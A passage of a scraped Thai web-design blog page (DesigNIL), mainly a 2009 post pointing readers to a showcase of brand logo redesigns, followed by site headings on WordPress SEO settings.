target="_blank">เว็บบอร์ดเว็บดีไซน์</a>มากขึ้นนะครับ แต่ยังไม่มีโครงการจะดีไซน์ธีมเว็บบอร์ดใหม่เร็ว ๆ นี้ (ทำไม่ไหวครับ แหะๆ) ว่าง ๆ แวะไปทักกันได้ที่ Twitter @designil ครับ สวัสดีครับ! </article> <article> <h1>[Logo Showcase] Logo Redesign ของแบรนด์ดังต่าง ๆ ในปี 2009</h1> designil — Wed, 30 Dec 2009 17:31:39 +0000 การออกแบบโลโก้ของเว็บไซต์ หรือของผลิตภัณฑ์ เป็นสิ่งที่มีความสำคัญไม่แพ้องค์ประกอบอื่น ๆ เลยครับ ยิ่งเราทำ Logo Design ได้ดี ก็จะทำให้คนจดจำเราได้ง่ายขึ้น จะเห็นว่าเว็บดัง ๆ ต่าง ๆ จะมีโลโก้ที่โดดเด่น เห็นแว๊บ ๆ ก็จำได้ทันที วันนี้ได้รวบรวมการเปลี่ยนแปลงโลโก้ของเว็บไซต์/สินค้าชื่อดัง ๆ ต่าง ๆ ครับ ลองมาดูกันครับว่าโลโก้เหล่านี้เปลี่ยนแปลงไปในทางที่ดีขึ้น (หรือแย่ลง) ยังไงบ้างหลังจากเค้าเอามาออกแบบใหม่ โลโก้บางส่วนหน้าตาจะค่อนข้างคล้ายกับของเดิมครับ แต่โดยรวมแล้วจะเปลี่ยนให้ดูเป็นสากลมากขึ้นครับ ดูแล้วน่าจะช่วยกระตุ้นไอเดียในการดีไซน์โลโก้เว็บไซต์ของคุณเองครับ สามารถไปดูโลโก้ต่าง ๆ ได้ที่นี่ครับ: <a title="โลโก้ดีไซน์ 2009" href="http://www.smashingapps.com/2009/12/28/35-exceptional-logo-rebranding-of-2009-for-your-inspiration.html" target="_blank">>> 35 Exceptional Logo Rebranding Of 2009 For Your Inspiration <<</a> P.S. ถ้าชอบเรื่องเว็บดีไซน์/กราฟฟิกดีไซน์ สามารถติดตามข่าวสารต่าง ๆ ได้ที่ @DesigNIL ทาง <a title="DesigNIL Twitter" rel="nofollow" href="http://www.twitter.com/designil">Twitter</a> นะครับ! </article> </main></body></html>

DesigNIL: Web Design HTML5 CSS3 Tutorial รวมความรู้เว็บดีไซน์ สอนออกแบบเว็บไซต์ » Inspiration

[WordPress] จูน WordPress ของคุณให้เข้ากับ SEO

ระบบ Permalink Structure for URLs

ระบบ Title Tag